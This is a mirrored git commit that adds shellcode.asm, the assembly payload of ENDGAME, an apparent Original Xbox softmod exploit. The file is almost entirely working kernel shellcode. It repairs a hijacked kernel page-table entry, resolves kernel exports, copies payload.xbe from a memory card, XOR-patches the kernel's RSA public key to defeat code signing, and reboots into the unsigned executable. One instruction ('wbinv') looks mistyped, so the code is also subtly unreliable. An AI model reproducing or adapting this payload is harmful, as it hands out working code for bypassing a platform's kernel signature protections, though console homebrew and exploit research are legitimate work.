mirror of
https://github.com/XboxDev/endgame-exploit.git
synced 2025-12-19 17:27:35 -05:00
adds ENDGAME v1.0
This commit is contained in:
334
shellcode.asm
Normal file
334
shellcode.asm
Normal file
@@ -0,0 +1,334 @@
|
||||
;
|
||||
; compile: nasm shellcode.asm
|
||||
;
|
||||
; NOTE: something to keep in mind when reading/editing this file is that we
|
||||
; are executing this page out of write-combining memory. we regularly use
|
||||
; sfence/wbinvd to try and flush things out and keep everything happy.
|
||||
;
|
||||
; otherwise, if you are not careful, there can be.. strange side effects.
|
||||
;
|
||||
|
||||
BITS 32
|
||||
|
||||
;
|
||||
; setup EBP to point at the base of this shellcode payload. this will allow
|
||||
; us to easily make relative references to shellcode labels, making this
|
||||
; payload position independent.
|
||||
;
|
||||
|
||||
start:
|
||||
call $+5
|
||||
pop ebp
|
||||
sub ebp, $-1
|
||||
|
||||
;
|
||||
; check if we are the first thread to enter the ENDGAME shellcode page,
|
||||
; if so, take the 'lock' to prevent the possibility of another thread
|
||||
; coming through should we get preempted. this isn't totally out of the
|
||||
; question since we sinkholed a page of kernel .text ...
|
||||
;
|
||||
|
||||
check_lock:
|
||||
mov eax, 0
|
||||
mov ebx, 1
|
||||
lock cmpxchg [ebp+locked], ebx
|
||||
jz repair_pte
|
||||
.inf:
|
||||
hlt
|
||||
jmp .inf ; trap any threads that could have chased us into this page
|
||||
|
||||
;
|
||||
; repair the kernel .text PTE we corrupted to hijack code execution. please
|
||||
; note that this must reconcile with the address/values in main.py
|
||||
;
|
||||
|
||||
repair_pte:
|
||||
mov eax, 0xc0200088
|
||||
mov dword [eax], 0x22461
|
||||
invlpg [0x80022000]
|
||||
wbinv
|
||||
|
||||
;
|
||||
; dynamically resolve kernel exports that the shellcode will use
|
||||
;
|
||||
|
||||
locate_exports:
|
||||
cld ; clear the direction flag so the string instructions increment the address
|
||||
mov esi, 80010000h ; kernel base address
|
||||
mov eax, [esi+3Ch] ; value of e_lfanew (File address of new exe header)
|
||||
mov ebx, [esi+eax+78h] ; value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0)
|
||||
add ebx, esi
|
||||
mov edx, [ebx+1Ch] ; value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308)
|
||||
add edx, esi ; address of kernel export table
|
||||
lea edi, [ebp+kexports] ; address of the local kernel export table
|
||||
|
||||
.get_exports:
|
||||
mov ecx, [edi] ; load the entry from the local table
|
||||
jecxz .done_exports
|
||||
sub ecx, [ebx+10h] ; subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base
|
||||
mov eax, [edx+4*ecx] ; load the export by number from the kernel table
|
||||
test eax, eax
|
||||
jz .empty ; skip if the export is empty
|
||||
add eax, esi ; add kernel base address to the export to construct a valid pointer
|
||||
|
||||
.empty:
|
||||
stosd ; save the value back to the local table and increment EDI by 4
|
||||
jmp .get_exports
|
||||
|
||||
.done_exports:
|
||||
|
||||
;
|
||||
; find XAPI's CopyFile() - "55 [8D 6C 24 A0 81 EC 9C 00] ..."
|
||||
;
|
||||
|
||||
find_copy_file:
|
||||
mov ecx, 0x30000 ; approximate memory address in the dash to start searching forward from
|
||||
mov edx, 0xA0000 ; approximate memory address in the dash to stop searching
|
||||
|
||||
.check_pattern:
|
||||
inc ecx ; increment the search pointer
|
||||
cmp ecx, edx ; compare current address with end address
|
||||
jge .error ; if past the end of the search space, end the search
|
||||
|
||||
mov eax, [ecx] ; move 4 bytes from the current address (dash code) into EAX
|
||||
cmp eax, 0xa0246c8d ; compare with the first part of the egg (reversed due to endianness)
|
||||
jnz .check_pattern ; if not equal, continue searching
|
||||
|
||||
mov eax, [ecx+4] ; move the next 4 bytes from memory into EAX
|
||||
cmp eax, 0x009cec81 ; compare with the second part of the egg (reversed due to endianness)
|
||||
jnz .check_pattern ; if not equal, continue searching
|
||||
|
||||
dec ecx ; found it! decrement ECX since the pattern is +1 into the func
|
||||
lea edi, [ebp+CopyFileEx]
|
||||
mov [edi], ecx
|
||||
jmp .done_resolution
|
||||
|
||||
.error:
|
||||
jmp .error
|
||||
|
||||
.done_resolution:
|
||||
wbinvd
|
||||
|
||||
;
|
||||
; drop IRQL to PASSIVE because the thread we hijacked may have come in at a
|
||||
; higher level and this can cause issues when calling kernel exports or XAPI
|
||||
;
|
||||
|
||||
lower_irql:
|
||||
mov ecx, 0
|
||||
call dword [ebp+KfLowerIrql]
|
||||
|
||||
%ifdef DEBUG
|
||||
|
||||
;
|
||||
; locate the of address our 'helper' allocation in memory. this is purely
|
||||
; used for debug / testing of ENDGAME -- it helped provide some introspection
|
||||
; on where our stuff was getting mapped on retail hardware.
|
||||
;
|
||||
|
||||
find_helper:
|
||||
mov ebx, 0xF1000000 ; where to start searching memory
|
||||
|
||||
.loop:
|
||||
add ebx, 0x1000 ; increment to the next page
|
||||
|
||||
push ebx
|
||||
call [ebp+MmIsAddressValid] ; check if the address is safe to dereference
|
||||
jz .loop
|
||||
|
||||
cmp dword [ebx], 0x71615141 ; does this page start with our magic marker?
|
||||
jnz .loop
|
||||
|
||||
dbg_print:
|
||||
|
||||
;
|
||||
; sprintf(...)
|
||||
;
|
||||
|
||||
sub esp, 0x100 ; make a 256 byte buffer on the stack
|
||||
mov ecx, esp
|
||||
push ebx ; arg1 for format string
|
||||
lea eax, [ebp+fmt_str]
|
||||
push eax ; format string
|
||||
push ecx ; buffer
|
||||
sfence
|
||||
call [ebp+sprintf]
|
||||
add esp, 0x0C
|
||||
|
||||
;
|
||||
; OutputDebugString(...)
|
||||
;
|
||||
|
||||
push esp ; Buffer
|
||||
push 0
|
||||
mov word [esp+0], ax ; Length
|
||||
mov word [esp+2], 0x100 ; MaxLength
|
||||
sfence
|
||||
|
||||
mov ecx, esp
|
||||
mov eax, 1
|
||||
int 0x2D ; debug print to superio
|
||||
int3 ; do not remove (required for proper int 2Dh handling)
|
||||
|
||||
add esp, 0x108 ; cleanup buffer (0x100) + debug print structure (0x8)
|
||||
|
||||
%endif
|
||||
|
||||
;
|
||||
; loop through each memory card drive letter and attempt to copy payload.xbe
|
||||
; from the MU to E:\payload.xbe. Once a copy succeeds, break from the loop.
|
||||
;
|
||||
|
||||
copy_file:
|
||||
cmp byte [ebp+mu_path], 'N' ; have we made it through all the memory card slots?
|
||||
je copy_failure
|
||||
|
||||
xor eax, eax
|
||||
push eax ; - dwCopyFlags
|
||||
push eax ; - pbCancel
|
||||
push eax ; - lpData
|
||||
push eax ; - lpProgressRoutine
|
||||
lea eax, [ebp+hdd_path]
|
||||
push eax ; - lpNewFileName
|
||||
lea eax, [ebp+mu_path]
|
||||
push eax ; - lpExistingFilename
|
||||
call dword [ebp+CopyFileEx] ; CopyFileEx(MU_X, HDD, NULL, NULL, NULL, NULL);
|
||||
|
||||
inc byte [ebp+mu_path] ; increment drive letter to try copying from the next MU
|
||||
wbinvd
|
||||
|
||||
test eax, eax ; if CopyFileEx(...) did not indicate it copied a file, keep looping
|
||||
jz copy_file
|
||||
|
||||
copy_success:
|
||||
mov ecx, 0D7h ; red-orange-green (success)
|
||||
lea eax, [ebp+blink_led]
|
||||
call eax
|
||||
jmp make_habibi
|
||||
|
||||
copy_failure:
|
||||
mov ecx, 0A0h ; red blinking (failure)
|
||||
call blink_led
|
||||
.inf:
|
||||
jmp short .inf
|
||||
|
||||
;
|
||||
; modify the RSA key data to make it habibi compatible
|
||||
;
|
||||
|
||||
make_habibi:
|
||||
mov ebx, [ebp+XePublicKeyData]
|
||||
or ebx, 0xF0000000
|
||||
pushf
|
||||
cli ; disable interrupts
|
||||
xor dword [ebx+110h], 2DD78BD6h ; alter the last 4 bytes of the public key
|
||||
mov ecx, cr3 ; invalidate TLB
|
||||
mov cr3, ecx
|
||||
popf ; re-enable interrupts
|
||||
|
||||
;
|
||||
; cribbed from past softmods, roughly a re-creation of the following:
|
||||
; - https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36
|
||||
;
|
||||
|
||||
launch_xbe:
|
||||
mov esi, [ebp+LaunchDataPage] ; https://xboxdevwiki.net/Kernel/LaunchDataPage
|
||||
mov ebx, [esi]
|
||||
mov edi, 1000h
|
||||
test ebx, ebx ; check the LaunchDataPage pointer
|
||||
jnz .mem_ok ; jump if it's not NULL
|
||||
push edi
|
||||
call dword [ebp+MmAllocateContiguousMemory] ; otherwise, allocate a memory page
|
||||
mov ebx, eax ; and store the pointer to the allocated page in EBX
|
||||
mov [esi], eax ; store the pointer back to the kernel as well
|
||||
|
||||
.mem_ok:
|
||||
push byte 1
|
||||
push edi
|
||||
push ebx
|
||||
call dword [ebp+MmPersistContiguousMemory]
|
||||
|
||||
mov edi,ebx
|
||||
xor eax,eax
|
||||
mov ecx,400h
|
||||
rep stosd ; fill the whole LaunchDataPage memory page (4096 Bytes) with zeros
|
||||
|
||||
or dword [ebx], byte -1 ; set LaunchDataPage.launch_data_type to 0xFFFFFFFF
|
||||
mov [ebx+4], eax ; set LaunchDataPage.title_id to 0
|
||||
lea edi, [ebx+8] ; copy the address of LaunchDataPage.launch_path string
|
||||
lea esi, [ebp+xbe_str]
|
||||
push byte xbe_strlen
|
||||
pop ecx
|
||||
rep movsb ; copy the executable path to the LaunchDataPage.launch_path
|
||||
push byte 2 ; 2 stands for ReturnFirmwareQuickReboot
|
||||
sfence
|
||||
wbinvd ; flush the CPU caches to ensure all our writes are in main memory
|
||||
call dword [ebp+HalReturnToFirmware]
|
||||
|
||||
.inf:
|
||||
jmp short .inf
|
||||
|
||||
;
|
||||
; blink LED to demonstrate code execution
|
||||
;
|
||||
|
||||
blink_led:
|
||||
push ecx
|
||||
push byte 0
|
||||
push byte 8
|
||||
push byte 20h
|
||||
call [ebp+HalWriteSMBusValue] ; set LED pattern
|
||||
|
||||
push byte 1
|
||||
push byte 0
|
||||
push byte 7
|
||||
push byte 20h
|
||||
call [ebp+HalWriteSMBusValue] ; enable LED override
|
||||
|
||||
ret
|
||||
|
||||
;
|
||||
; '.data' section for our shellcode
|
||||
;
|
||||
|
||||
kexports:
|
||||
HalReturnToFirmware dd 49
|
||||
HalWriteSMBusValue dd 50
|
||||
KfLowerIrql dd 161
|
||||
LaunchDataPage dd 164
|
||||
MmAllocateContiguousMemory dd 165
|
||||
MmPersistContiguousMemory dd 178
|
||||
XePublicKeyData dd 355
|
||||
|
||||
; ENDGAME debug helpers
|
||||
%ifdef DEBUG
|
||||
MmIsAddressValid dd 174
|
||||
sprintf dd 362
|
||||
%endif
|
||||
|
||||
; end of local export table
|
||||
dd 0
|
||||
|
||||
xapi:
|
||||
CopyFileEx dd 0
|
||||
|
||||
strings:
|
||||
mu_path db 'F:\payload.xbe', 0 ; first memory card slot
|
||||
hdd_path db 'C:\payload.xbe', 0 ; E drive (as aliased in dash)
|
||||
xbe_str db '\Device\Harddisk0\Partition1\payload.xbe', 0
|
||||
xbe_strlen equ $-xbe_str
|
||||
|
||||
%ifdef DEBUG
|
||||
fmt_str db 'Spray base 0x%08X', 0x0a, 0x0d, 0
|
||||
%endif
|
||||
|
||||
misc:
|
||||
locked dd 0
|
||||
version dd 0x00010000 ; [-unused-].[major].[minor].[patch]
|
||||
|
||||
;
|
||||
; no purpose but to serve as a static marker for the end of our shellcode
|
||||
;
|
||||
|
||||
end:
|
||||
dd 0xCCCCCCCC
|
||||
Reference in New Issue
Block a user